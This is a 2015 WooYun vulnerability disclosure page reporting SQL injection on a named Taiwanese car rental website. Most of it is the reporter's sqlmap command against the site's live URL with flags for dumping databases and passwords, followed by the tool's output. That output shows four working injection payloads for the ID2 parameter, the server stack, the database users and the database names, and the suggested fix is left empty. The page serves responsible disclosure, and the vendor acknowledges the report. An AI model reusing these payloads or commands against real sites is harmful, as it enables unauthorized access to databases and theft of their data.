当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103496

漏洞标题:台灣某租車站SQL Injection

相关厂商:hicar.com.tw

漏洞作者: 路人甲

提交时间:2015-03-24 19:47

修复时间:2015-05-13 00:54

公开时间:2015-05-13 00:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-24: 细节已通知厂商并且等待厂商处理中
2015-03-29: 厂商已经确认,细节仅向厂商公开
2015-04-08: 细节向核心白帽子及相关领域专家公开
2015-04-18: 细节向普通白帽子公开
2015-04-28: 细节向实习白帽子公开
2015-05-13: 细节向公众公开

简要描述:

台灣某租車站SQL Injection

详细说明:

QQ截图20150324174532.png


QQ截图20150324174543.png


QQ截图20150324174558.png

漏洞证明:

[root@Hacker~]# Sqlmap Sqlmap Sqlmap -u "http://www.hicar.com.tw/Index.asp?ID2=2&ID=14" --dbs --passwords --current-user --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsib
[*] starting at 17:29:02
[17:29:03] [INFO] testing connection to the target URL
[17:29:04] [INFO] testing if the target URL is stable. This can take a couple of seconds
[17:29:06] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[17:29:06] [INFO] testing if GET parameter 'ID2' is dynamic
[17:29:07] [INFO] confirming that GET parameter 'ID2' is dynamic
[17:29:07] [INFO] GET parameter 'ID2' is dynamic
[17:29:08] [INFO] heuristics detected web page charset 'Big5'
[17:29:08] [INFO] heuristic (basic) test shows that GET parameter 'ID2' might be injectable (possible DBMS: 'Microsoft SQL Server')
[17:29:08] [INFO] testing for SQL injection on GET parameter 'ID2'
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n]
[17:29:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:29:14] [INFO] GET parameter 'ID2' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[17:29:14] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[17:29:15] [INFO] GET parameter 'ID2' is 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' injectable
[17:29:15] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[17:29:15] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[17:29:15] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
[17:29:26] [INFO] GET parameter 'ID2' is 'Microsoft SQL Server/Sybase stacked queries' injectable
[17:29:26] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[17:29:26] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)'
[17:29:51] [INFO] GET parameter 'ID2' is 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)' injectable
[17:29:51] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:29:51] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:29:57] [WARNING] parameter length constraint mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected
GET parameter 'ID2' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 38 HTTP(s) requests:
---
Place: GET
Parameter: ID2
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ID2=2' AND 4352=4352 AND 'gqvP'='gqvP&ID=14
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: ID2=2' AND 4954=CONVERT(INT,(SELECT CHAR(113)+CHAR(108)+CHAR(122)+CHAR(105)+CHAR(113)+(SELECT (CASE WHEN (4954=4954) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(116)+CHAR(104)+CHAR(115)+CHAR(113))) AND 'klrc'='klrc&ID=14
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: ID2=2'; WAITFOR DELAY '0:0:5'--&ID=14
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: ID2=2' AND 1851=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'FfbN'='FfbN&ID=14
---
[17:30:12] [INFO] testing Microsoft SQL Server
[17:30:12] [INFO] confirming Microsoft SQL Server
[17:30:13] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[17:30:13] [INFO] fetching current user
[17:30:13] [INFO] retrieved: parson
current user: 'parson'
[17:30:13] [INFO] fetching current database
[17:30:13] [INFO] retrieved: parson
current database: 'parson'
[17:30:13] [INFO] fetching database users password hashes
[17:30:13] [INFO] the SQL query used returns 2 entries
[17:30:14] [INFO] fetching database users
[17:30:14] [INFO] the SQL query used returns 2 entries
[17:30:14] [INFO] fetching number of database users
[17:30:14] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[17:30:14] [INFO] retrieved: 2
[17:30:20] [INFO] retrieved: parson
[17:30:54] [INFO] retrieved: sa
[17:31:08] [INFO] fetching number of password hashes for user 'parson'
[17:31:08] [INFO] retrieved: 0
[17:31:12] [WARNING] unable to retrieve the number of password hashes for user 'parson'
[17:31:12] [INFO] fetching number of password hashes for user 'sa'
[17:31:12] [INFO] retrieved: 0
[17:31:27] [WARNING] unable to retrieve the number of password hashes for user 'sa'
[17:31:27] [ERROR] unable to retrieve the password hashes for the database users (most probably because the session user has no read privileges over the relevant system database table)
[17:31:27] [INFO] fetching database names
[17:31:27] [INFO] the SQL query used returns 6 entries
[17:31:28] [INFO] fetching number of databases
[17:31:28] [INFO] retrieved: 6
[17:31:32] [INFO] retrieved: Mak_Data
[17:32:15] [INFO] retrieved: master
[17:33:08] [INFO] retrieved: model
[17:33:55] [INFO] retrieved: msdb
[17:34:18] [INFO] retrieved: parson
[17:34:59] [INFO] retrieved:
[17:35:24] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
tempd
[17:37:34] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
b
available databases [6]:
[*] Mak_Data
[*] master
[*] model
[*] msdb
[*] parson
[*] tempdb
[17:38:04] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 37 times
[17:38:04] [INFO] fetched data logged to text files under 'E:\INJECT~1\SQLMAP~1.4\Bin\output\www.hicar.com.tw'

修复方案:

null

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-03-29 00:53

厂商回复:

感謝通報

最新状态:

暂无